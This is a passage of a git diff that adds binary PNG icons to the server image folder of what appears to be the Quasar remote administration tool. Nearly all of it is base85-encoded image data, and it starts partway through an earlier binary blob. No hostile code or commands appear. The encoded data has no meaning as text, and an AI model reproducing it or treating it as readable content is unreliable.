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 P00000NkvXXu0mjf^IS-S literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/application.png b/Quasar-1.4.1/Quasar.Server/Images/application.png new file mode 100755 index 0000000000000000000000000000000000000000..807b862cfc087b70dcdd971af3ac92688484e998 GIT binary patch literal 467 zcmV;^0WAKBP)4nWfMy23V#h*$3p-!?D%AI~T5+JJ;5Qi)|`;Y?)XOj2U`VS70o zp1%L~Y4f1;U-b7MEOk38OU$EtImvzCpiEkKCg)@3^{;h@nc_6NuOBn7?ZF9Ev4w3+ zWiSxI_v2&k@_b{1R8kdeGLx;rFK&F@c}mqZ4YwJO$7q^VC6&nL^Y#-6g9F*zM-oa= z70W0^1X#=%!t{DQE-wCJ^Pd1r08&yFDUlL$EtoM3e+;?Hv-Nc(QI%=il9}v$`OS^N z)(TbAG~DLw><`m+N>!Xf5_@kR0j83~eKLh5sv-%=fC#``TU}jaG#UW`VS>Ph2!jLJ zROR&N$x3B;J002ov JPDHLkV1im=zq0Ag3?`k8$#1J0F}NdayEtTz+~+#EG995YAF(1xew#=1J)ogJuY z3Lxu(1VP;KAh`GKm^?X0f~UCV*)Nf5F(3GKr=#9qzp;L29U)FF98>T4&VoHZ|-ho>^FRq4ws;uOVa=V002ovPDHLk FV1kR43LgLf literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/application_cascade.png b/Quasar-1.4.1/Quasar.Server/Images/application_cascade.png new file mode 100755 index 0000000000000000000000000000000000000000..da5c622eaca0deb4866135926af1d2aa5101d106 GIT binary patch literal 524 zcmV+n0`vWeP)}lwk9A2Ze|&iZoIgAZ3MTi0rviU@eS5?r z4KA#JuLrmglUjU7y&F^VIw}$Rg3uR)V-k9U&=-WhAoK;n1)+F@6(FfbKq!_YoYN6- z@oomdg%KbsI|VMR`^0v};X*@SkkbJdKbzvy#h(jwfiBRE_p0E=F98r%Yr~OBPWzsj6v!X?6(f7#B3EJn O0000hj32+Ia2PFSwHp_;8^u8>r6{e*krHy43#H^jT&z}Wa&xpokqZtA zFR&Fehhe_gp*x{i&XLj%HzdqAeQvxDT1Rjn;gaWw} z5^~2QShuR2o0yn9fA7Y?Xzt(DKhn`?rmhAn(VT1h2r!!4rBZw52P-vSDzPZb#g$`y ztkj8XEoxZ`Y73PkKp{LJ5D~&7@Je_kT)~2i-c6l&IJJyK&5~gfN`_2W7%3TM2{XqE zQA8qFq861?%N|ZG0Wt%FLJ$TKq7Wo2$Odl0Q&0;JYFQzcn1MtBWCjLiAQxdE1Cmih zK`p|mAf*(48Y1z>=gVSoY2jATaZ?l66O4$*k`47+`l zweRoK+p__ghH^x(%m8DN8Gl-sYSGx#3kS}zEMMMC5wqj&noaWd37uvw=_X01NGD-Z+i^1;8t2&z(w`{C(PM?|mR`Ky`;pIFxeKF=OosmQ6jmTLP{}-6iF>nO8f(+aY2!Xm^*5Av6NhR zD0!Nar%`rnu~v@R4hO^8&iS41=VQN>+65QO>m_E!|B#IbuI^pAy5?9WYjHC`6;s8j z!_-hy%sJEya}KAD$C|Z-~!ZLFQctG09Uhp@QPcl?mU}7$E{?cz}t3fC%LK?;}5+keI!OTyHb6 z@j}nbBm-HHT&CJnb^IYBAVSCka_RdNzT74;XDve?FCx*eM2ky^TZSvCN4lf#zADBt{VLMZ58~8Xlk&tIj2}J+_M1=n24SuBB zC|kIW{HG=&F(WrHgY=^pRBSp=QTYN)m5{Hh{2@SBTQi04uPMk>dS9PrQdx|l%yhmz zOH#Sz0@1`YLTX0HPj&aS)SnFM)H&2CwbI1q`b)fRK1k<-HpW#}^Sv*{jiIgdH9W>t zQ6<#EFflVmJF;g{aA;S(kLP%K=NdiTT|X03N>|n%ZExo<#LO72ZdK{vlG)|{vIVoS lXs&IrKfQB(cA1hmXWM zDZ#H?v3PJ5$Hq5OmbDN{wJ%9%wAR zT-Qu9!vIN`896F;t~rD&@Nfe0`Nv1rEgogE>hi36i1p_V%rE6ZqX5JdGmz-z3Rm#{ z+Z*c0z*?bg!mefM79{Zs`zK3~u)rkEuD#mHG}dlY@$@R6?<^o~D%1C9AK Udps;mZ~y=R07*qoM6N<$f`qvmMgRZ+ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/archive.png b/Quasar-1.4.1/Quasar.Server/Images/archive.png new file mode 100755 index 0000000000000000000000000000000000000000..f0756cd29cbdabaf0a0573b1e5e0d9e7e6a77738 GIT binary patch literal 644 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 Rkdpua002ovPDHLkV1n_Goa+Dp literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/basket.png b/Quasar-1.4.1/Quasar.Server/Images/basket.png new file mode 100755 index 0000000000000000000000000000000000000000..b0686d78717529bb742ef070d1bda47a7c6f979f GIT binary patch literal 669 zcmV;O0%HA%P)X2Z$8|*3m`ciVNwH*EI!K4;uvAKH6fHzx?V&@^We*)X?7dsir9(vp z8s0qC66hg_FvDdP+YZ*QQXq*asiJ^PAt__udR03JSKMNpvg7nRd;*rSO>RS?^_43zGp9!-$Vr8Z;-c)wwgHkS+YjrxEH>PP4=o*Ja%j@-qQ7nuXR|G+z`F#G__zp#^)oN!YNg~y1 z^~|0zhm_4`@5r+3Xt&!}L!nR@MFO-?D2!7|UpJf0T_|9HeV`8KcGd}Kc-Emip&y|t z_#%p8-7t&=E*g!lG#ZU>nBYAEj>EBt4o4jhM;RJ-I-N_<7<3u_xS}Xbk7%04w(w;0 zJ9vZz;{qIPf*|w*bT@RBO#o`l2JF2T=VSmKyFa;k3+QnBw+YIugUjVAvW{-In@tq= zcswQ8$Dl7zB!&WY@O=0src$Xc9HR*Gv(tqJp|8MRP(`o?-T@Vz_k&BxWbzRI>pqdd zgAD|epI0;lNkiCmw3Y+732PG_{dW-vWnGW?ek+eegcN?|t9z2?7xGKN@MGRD*J^ z&rlky@ZUE!D5>oxB^64H+e}Jso>dhAcXJ|I^4Pu&0hSi(IWgLX71SJg^}9{IANt4a z6@3vO@*Gyvx&UJ2j;g6eXHOcITv{wUTQS>}4p&n=2Fk;r%w^@S*8a(S*4l9Z?xB2q zbEz@ceIA}S32-WSa5Toip*ae*h-LZ>K#V(y+NX@kSg_V%$^H^^#w5(VjmNa^Al#Zr zxKskTv?tM3%<%;PqbiC^j8kOR6?gv~_-2jxYPk=$UI?e|FeaO0Fjl)4b{QYeM$$#= z33NONUJd|;c@3 zEdc1N;!Mt4u3_FH!uuLNdh0_mSQm{kBBv%A#u5&?pX`FYmIHU&F-*wfPx9%`;Lgug8DbunAt zBaI+kWJ7UF0I#(WUwSj4$>*c9h=G}AiU3$-A0$Ax*`Bq(7C5v$WSb3D;V`_ofN@<0 zyyGH_s4k);Wh-=dcVI!ug{|Qbq&Jv@e+2kN0@9!>-iNlrSST`i(3d5k^wJhQO4^KW zF%1@J6soS$C)Ne{CC_FFV2Y&a z4Co4YFjq&xTp5X`tPqr@&_w?P@T)qFu}N};o>QJmcZySJ(R-Md ToJi+(00000NkvXXu0mjf*@atu literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/book.png b/Quasar-1.4.1/Quasar.Server/Images/book.png new file mode 100755 index 0000000000000000000000000000000000000000..b0f4dd7928cc5714e002fd2a6e8f2faac0073f00 GIT binary patch literal 593 zcmV-X0l6k>CGhc0FIuigU9U^L+D`6bSr zIEp(+L4eIgaZT(|{B!*DbrTYc1t0J9*MLJm+n zOEVloE20S^g6s|1rvjjuW1W$TV;&TbK2|slm=91)Q{X{Kg;c!Saglq7xo8`(>{A}G zw@`8gScq(adr(4@;>^%e<~7+uNMv&?8L0#%0yj~@DW&fPImKeyFHkRKuNERO3(SOB z?S)niZbFEN`0<|w+LjBKR#DU7F3d&rQGGY&Y)Fv0w002i=Jm_>x9jBX>wg3XCKK`E f>xbvJ_5i;DeEQXvyE?}U00000NkvXXu0mjfKqCEw literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/book_open.png b/Quasar-1.4.1/Quasar.Server/Images/book_open.png new file mode 100755 index 0000000000000000000000000000000000000000..7d863f949741ff83fd8373a77c0d95a3d95e441f GIT binary patch literal 622 zcmV-!0+IcRP)YeaZ-G+53gSTz{SPWVdFiPaPX+$~@n)fi9>qgJ zh4fN-QcEhq^wI<|vImjml9)pF*W2zl+qWbTPaSyKyqWKt`DS)j3xa?yVgf%ewhl|m zA$_0x^Rx4E@d&=>uRoSN*Cm&aL#`7&zr0;L(pKMn1G#$ZszFkMC^?B8f`0w&-UD$u zd-(?iK6#!;xZ`>J^A9DGiTfguewDOKwDEKoL}`ZE_M}0=xvsgf$usmJeV$oo28d0#yu!pdgpag$giC zhlKP!CMX3wsPMGgZ5n>Xg+hV--ENofAcH61#0B7Hvl-7Il}g2A6;lfG`FxbX8A>p$ z0P;GW4il9Mr9jO9)xB^Rgy%*CSTdQ6D;kDDnM{U{5Q21FA4#ZM71$_Dba8z<-Y_Na zS@|v#c0PZNDux9AoXD-ZoWP~q)7QrC`Gi3lOYrtSl@<#7b-w zf}j{s!5HvocfT|9z82@(O@vrwU^wRt=bd>tXQpGD!`Kvuv@XEI8~tgUP2L`{+*)U@I@ zrVtr5X14??iAF(=0+k>q)v`Scm$9&=i`*knBsnaUVL1>ti*O1xfzmiD$%Md-h*6M( z@*iB)icu3eU424Ok{kp%Y!1dvp%f0`ac9vcupx^$vU0xuKpJcBvej0UYk%)EV>mIx2hV}QRf#LX^Uh(%`7hZ~|KEf#uQ31s002ovPDHLkV1hgQ{`mj^ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/brick.png b/Quasar-1.4.1/Quasar.Server/Images/brick.png new file mode 100755 index 0000000000000000000000000000000000000000..97a152c918ee076de30a64f25736590f31cce348 GIT binary patch literal 399 zcmV;A0dW3_P)Zj=Zuv-~07_MF6ZUbZ+iVGQQJ%F*6S!B4T->)k~5jY4u)CMnn{`ve22`JFC_- zWm>VqZ$gOQZ&lpn&>O_6)K00fSy979IEB*s*VwLm7o&w&zPD`S*=yqw{N}q z@Meuwg_cC|>*g2(bg&kY_d6GwWzEcG7^g`w{d%5^!+x~JM t+wd|HNMlZ|>D)M67h? zOIjz3DJbk0=97q(mSBd~-ilc0Oupt^z$#N6O&at_s8u-PL@9M^gQuq(+UH^IB$&*DHP!HzH+vkEzC?S52tN1$mKhziPkOR=y$ zhl#aO1Xly_M?EkN>tM6E5T&Ht4dh{0oQr6Q1b3J=sM^ACOsvD=TSP81#0oTC1v|Df zgpp-GhL(KrE_8t&(jeFR1W%(osQ12tvSpHp_}~HR_8G{VUO;FILQv(P-b)es=)ZlJM#c>{Wx-rgY3D#Ol9rJl39A<60Xo5cneo(9g5a4q>ayzV-7%Ue2}0_ z&TIets{Cl`n(nefrZ+9F8|N&Kp}^StU2b+&pVj;XvgEdBL3Wlp00000NkvXXu0mjf DwZ3{L literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/briefcase.png b/Quasar-1.4.1/Quasar.Server/Images/briefcase.png new file mode 100755 index 0000000000000000000000000000000000000000..05c564912953467ae888192196aeca2f6db0a406 GIT binary patch literal 793 zcmV+!1LpjRP)wCLzo!u5vjB%3bO!v(<`_0eVUfez^@RtZWvFJys zmGdnDZpkw!t9(+21YEn-ihl~B1qBIC$}CuB14>X1 zU~*Un>6SGZ3Y^8*Q&uVSbD7}5T-49a>2vqn$7#MU@h6((L#!%+= zz%VT|T?$}o@{26(rTuQtd|!BWdNe#6g6~WN^yIoCkxFeKNq#aJCqJG$+l06391?5G z7z>TBP=XG7ma%A``8El+=7!znQNd|bAZ=Jk8A7QPMip0;lwx{5q%cngmVeuX$bNi! zqrCTYUHx_Eeh+kB0G;YJRksPqvt2K8IKWmHFg!IfMBoOAQ&Z@^bIi5NVcR<~{)uxg zY|Ik&{88-~C*A1W?HJn{l#TYlO?I~A&~eSM?)n~-RV0se6$@AD0E_GXV`XdVUHN0T~Y^HSDgA^X!&oW$jpM5h9)mbXmSy~HD zw(w^mE;n9P!K0&YL?RJfsH;OT7({E!J;dI5QDC=imt=c(^T;}l=)l&CLvanNo7&*_ z`=M!?3Q8mr7#tkL(Cg>WG9ie(_q)AF`O?+Z)u!uu3$ZvUnUEhN9WYI^y}!Rdoge!L XLaEPO;P?1x00000NkvXXu0mjfUe98= literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/broom.png b/Quasar-1.4.1/Quasar.Server/Images/broom.png new file mode 100755 index 0000000000000000000000000000000000000000..2c6152ef621a20c8bb016742c08153f20cd8e71e GIT binary patch literal 784 zcmV+r1MmEaP)0Hy9IdnOjm|8iDrb~(_gorLm$cws&E&`E?@S>Xnp>MK_0tqxD+)y*nqBPRUqEyO{ zSeYd{zqWL9@Ah^ME(k&jeBt*#hvz)cbN=U?=MbLfv7S$Ovnm9v1gpa!WOahs(+xcK z>j})ct8)R0XP8Hr5GH>Bbv_?zL;hot0-AS^LB~63A=8ovbvw!q>D|ky6aFJP&0^!T z>+f7S$s|~A)JT6WBiUfwrEhxBV&nX4D~O}kgqZI^7F%-V8%|kzB3M@yrJj$9so`uIV{MDI}O3`ihEN7c7=06c?M( zI+%n-$09fmgaUynhd6p{{CrPWU#5tMTofA(S-JuOdRO1=IhaxR0p zlgUq0Q544c8(ae&UR$8ps&snq6^bPY3v3xAmMW74Di$h~GCH6E3TaYs2#6A<7K*gC z777H71_Wa;(dfp+g-drPCSWu)#PInZi72LJ;o?i~$-U=y&UbQ89Dul3%3P+Axkzc* 